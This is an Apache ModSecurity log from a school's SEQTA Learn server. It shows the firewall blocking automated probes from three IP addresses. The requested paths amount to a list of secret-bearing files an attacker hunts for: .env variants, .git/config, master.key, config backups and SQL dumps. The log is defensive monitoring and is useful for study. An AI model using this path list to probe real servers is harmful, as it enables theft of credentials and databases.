[Sat Apr 04 10:44:49.929563 2026] [:error] [pid 2457:tid 2478] [client 185.150.191.24:54472] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/.env"] [unique_id "adB7IUmNHppaMd92ZpeeGAAAAAE"]
[Sat Apr 04 10:44:49.932576 2026] [:error] [pid 37114:tid 37125] [client 185.150.191.24:55236] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/shared/.env"] [unique_id "adB7Ic-DnSj3fGMexeIQCAAAAQk"]
[Sat Apr 04 10:44:49.933369 2026] [:error] [pid 37114:tid 37130] [client 185.150.191.24:60122] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/application/.env"] [unique_id "adB7Ic-DnSj3fGMexeIQCQAAAQ4"]
[Sat Apr 04 10:44:49.935714 2026] [:error] [pid 37114:tid 37117] [client 185.150.191.24:60124] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/system/.env"] [unique_id "adB7Ic-DnSj3fGMexeIQCgAAAQE"]
[Sat Apr 04 10:44:49.940095 2026] [:error] [pid 37114:tid 37129] [client 185.150.191.24:55234] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/release/.env"] [unique_id "adB7Ic-DnSj3fGMexeIQCwAAAQ0"]
[Sat Apr 04 10:44:50.353917 2026] [:error] [pid 2457:tid 2496] [client 185.150.191.24:55233] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/server/.env"] [unique_id "adB7IkmNHppaMd92ZpeeGwAAABM"]
[Sat Apr 04 10:44:50.542352 2026] [:error] [pid 37114:tid 37132] [client 185.150.191.24:49223] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/webapp/.env"] [unique_id "adB7Is-DnSj3fGMexeIQDwAAARA"]
[Sat Apr 04 10:44:50.550752 2026] [:error] [pid 37114:tid 37140] [client 185.150.191.24:50686] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/services/.env"] [unique_id "adB7Is-DnSj3fGMexeIQEgAAARg"]
[Sat Apr 04 10:44:50.552614 2026] [:error] [pid 2567:tid 2597] [client 185.150.191.24:50652] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/beta/.env"] [unique_id "adB7ImJJmfRsTrAKjdQxXQAAANc"]
[Sat Apr 04 10:44:50.732871 2026] [:error] [pid 2458:tid 2508] [client 185.150.191.24:60379] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.docker"] [unique_id "adB7IiNozic5SuWqclk1qAAAAEQ"]
[Sat Apr 04 10:44:50.733189 2026] [:error] [pid 37114:tid 37119] [client 185.150.191.24:60577] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/client/.env"] [unique_id "adB7Is-DnSj3fGMexeIQFAAAAQM"]
[Sat Apr 04 10:44:50.734698 2026] [:error] [pid 2457:tid 2495] [client 185.150.191.24:60748] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/config/parameters.yml"] [unique_id "adB7IkmNHppaMd92ZpeeHwAAABI"]
[Sat Apr 04 10:44:50.735351 2026] [:error] [pid 2457:tid 2481] [client 185.150.191.24:60614] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/master.key"] [unique_id "adB7IkmNHppaMd92ZpeeHAAAAAQ"]
[Sat Apr 04 10:44:50.735628 2026] [:error] [pid 2457:tid 2479] [client 185.150.191.24:61138] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.php.bak"] [unique_id "adB7IkmNHppaMd92ZpeeHQAAAAI"]
[Sat Apr 04 10:44:50.744431 2026] [:error] [pid 2457:tid 2478] [client 185.150.191.24:60064] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/etc/local.xml"] [unique_id "adB7IkmNHppaMd92ZpeeIQAAAAE"]
[Sat Apr 04 10:44:50.753082 2026] [:error] [pid 2567:tid 2593] [client 185.150.191.24:60075] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.json"] [unique_id "adB7ImJJmfRsTrAKjdQxXgAAANM"]
[Sat Apr 04 10:44:50.753617 2026] [:error] [pid 37114:tid 37122] [client 185.150.191.24:49224] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.aws"] [unique_id "adB7Is-DnSj3fGMexeIQFgAAAQY"]
[Sat Apr 04 10:44:50.755688 2026] [:error] [pid 2567:tid 2574] [client 185.150.191.24:60076] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/shop/.env"] [unique_id "adB7ImJJmfRsTrAKjdQxYAAAAMA"]
[Sat Apr 04 10:44:50.935873 2026] [:error] [pid 37114:tid 37129] [client 185.150.191.24:60079] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/portal/.env"] [unique_id "adB7Is-DnSj3fGMexeIQGAAAAQ0"]
[Sat Apr 04 10:44:50.939168 2026] [:error] [pid 2457:tid 2496] [client 185.150.191.24:60614] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/v2/.env"] [unique_id "adB7IkmNHppaMd92ZpeeIwAAABM"]
[Sat Apr 04 10:44:50.939168 2026] [:error] [pid 37114:tid 37117] [client 185.150.191.24:60072] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/v1/.env"] [unique_id "adB7Is-DnSj3fGMexeIQGQAAAQE"]
[Sat Apr 04 10:44:50.939634 2026] [:error] [pid 2457:tid 2501] [client 185.150.191.24:61138] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cms/.env"] [unique_id "adB7IkmNHppaMd92ZpeeJAAAABg"]
[Sat Apr 04 10:44:50.940299 2026] [:error] [pid 2457:tid 2480] [client 185.150.191.24:60047] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/demo/.env"] [unique_id "adB7IkmNHppaMd92ZpeeJgAAAAM"]
[Sat Apr 04 10:44:50.952508 2026] [:error] [pid 37114:tid 37135] [client 185.150.191.24:49222] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/store/.env"] [unique_id "adB7Is-DnSj3fGMexeIQGwAAARM"]
[Sat Apr 04 10:44:50.957894 2026] [:error] [pid 2567:tid 2575] [client 185.150.191.24:50286] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/staging/.env"] [unique_id "adB7ImJJmfRsTrAKjdQxYQAAAME"]
[Sat Apr 04 10:44:50.964182 2026] [:error] [pid 37114:tid 37134] [client 185.150.191.24:50403] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backup.sql"] [unique_id "adB7Is-DnSj3fGMexeIQHQAAARI"]
[Sat Apr 04 10:44:51.141001 2026] [:error] [pid 2457:tid 2483] [client 185.150.191.24:54937] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/data.sql"] [unique_id "adB7I0mNHppaMd92ZpeeKgAAAAY"]
[Sat Apr 04 10:44:51.142556 2026] [:error] [pid 2459:tid 2545] [client 185.150.191.24:55818] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/mysql.sql"] [unique_id "adB7IwefyCmu4LR_PlreaQAAAI0"]
[Sat Apr 04 10:44:51.144195 2026] [:error] [pid 2457:tid 2498] [client 185.150.191.24:60049] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/dump.sql"] [unique_id "adB7I0mNHppaMd92ZpeeKwAAABU"]
[Sat Apr 04 10:44:51.146111 2026] [:error] [pid 2457:tid 2482] [client 185.150.191.24:60048] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.sql"] [unique_id "adB7I0mNHppaMd92ZpeeLAAAAAU"]
[Sat Apr 04 10:44:51.147497 2026] [:error] [pid 2457:tid 2496] [client 185.150.191.24:63504] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/database.sql"] [unique_id "adB7I0mNHppaMd92ZpeeLgAAABM"]
[Sat Apr 04 10:44:51.160943 2026] [:error] [pid 2457:tid 2501] [client 185.150.191.24:60068] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "adB7I0mNHppaMd92ZpeeLwAAABg"]
[Sat Apr 04 10:44:51.160961 2026] [:error] [pid 2457:tid 2491] [client 185.150.191.24:50032] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/test/.env"] [unique_id "adB7I0mNHppaMd92ZpeeMAAAAA4"]
[Sat Apr 04 10:44:51.161681 2026] [:error] [pid 2567:tid 2598] [client 185.150.191.24:51573] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "adB7I2JJmfRsTrAKjdQxYgAAANg"]
[Sat Apr 04 10:44:51.161923 2026] [:error] [pid 2457:tid 2491] [client 185.150.191.24:60067] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/dev/.env"] [unique_id "adB7I0mNHppaMd92ZpeeMQAAAA4"]
[Sat Apr 04 10:44:51.162127 2026] [:error] [pid 37114:tid 37122] [client 185.150.191.24:60069] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/site.sql"] [unique_id "adB7I8-DnSj3fGMexeIQIAAAAQY"]
[Sat Apr 04 16:19:10.954880 2026] [:error] [pid 2459:tid 2538] [client 129.159.56.14:58382] [client 129.159.56.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "adDJfgefyCmu4LR_PlpbbQAAAIY"]
[Tue Apr 14 13:40:38.890010 2026] [:error] [pid 35630:tid 35702] [client 15.188.193.200:34542] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "ad3TVjer0pVFxOiOauUCVQAAAJA"]
[Tue Apr 14 13:40:40.212967 2026] [:error] [pid 35713:tid 35721] [client 15.188.193.200:34548] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "ad3TWK6-hhx6ZepqOSlWdQAAAMU"]
[Tue Apr 14 13:40:41.239218 2026] [:error] [pid 4902:tid 4916] [client 15.188.193.200:34552] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "ad3TWYv8vJvl9lGy39hemgAAAYw"]
[Tue Apr 14 13:40:42.257831 2026] [:error] [pid 35630:tid 35697] [client 15.188.193.200:34560] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "ad3TWjer0pVFxOiOauUCVwAAAIs"]
[Tue Apr 14 13:40:43.292634 2026] [:error] [pid 18776:tid 18787] [client 15.188.193.200:34562] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "ad3TW8IjIcAYZxezzAWi0wAAAck"]
[Tue Apr 14 13:40:44.309172 2026] [:error] [pid 35629:tid 35667] [client 15.188.193.200:40728] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "ad3TXDY8VahzC1YJBSjxGwAAAEg"]
[Tue Apr 14 13:40:45.316252 2026] [:error] [pid 37226:tid 37247] [client 15.188.193.200:40738] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "ad3TXZOA5-IQ0IVmQCopUAAAAVM"]
[Tue Apr 14 13:40:46.319408 2026] [:error] [pid 35629:tid 35677] [client 15.188.193.200:40748] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "ad3TXjY8VahzC1YJBSjxIAAAAFI"]
[Tue Apr 14 13:40:47.340102 2026] [:error] [pid 35713:tid 35728] [client 15.188.193.200:40758] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "ad3TX66-hhx6ZepqOSlWeQAAAMw"]
[Tue Apr 14 13:40:48.384612 2026] [:error] [pid 4902:tid 4907] [client 15.188.193.200:40766] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "ad3TYIv8vJvl9lGy39henwAAAYM"]
[Tue Apr 14 13:40:49.400288 2026] [:error] [pid 35629:tid 35682] [client 15.188.193.200:40768] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "ad3TYTY8VahzC1YJBSjxIgAAAFc"]
[Tue Apr 14 13:40:50.410292 2026] [:error] [pid 35629:tid 35666] [client 15.188.193.200:40784] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "ad3TYjY8VahzC1YJBSjxKAAAAEc"]
[Tue Apr 14 13:40:51.418144 2026] [:error] [pid 37048:tid 37053] [client 15.188.193.200:40790] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "ad3TY552Bo1OyzeXo_zfjAAAAQM"]
[Tue Apr 14 13:40:52.415246 2026] [:error] [pid 35629:tid 35659] [client 15.188.193.200:40804] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "ad3TZDY8VahzC1YJBSjxLgAAAEA"]
[Tue Apr 14 13:40:53.432071 2026] [:error] [pid 18776:tid 18787] [client 15.188.193.200:40816] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "ad3TZcIjIcAYZxezzAWi5AAAAck"]
[Tue Apr 14 13:40:54.457831 2026] [:error] [pid 37226:tid 37246] [client 15.188.193.200:40446] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "ad3TZpOA5-IQ0IVmQCopVQAAAVI"]
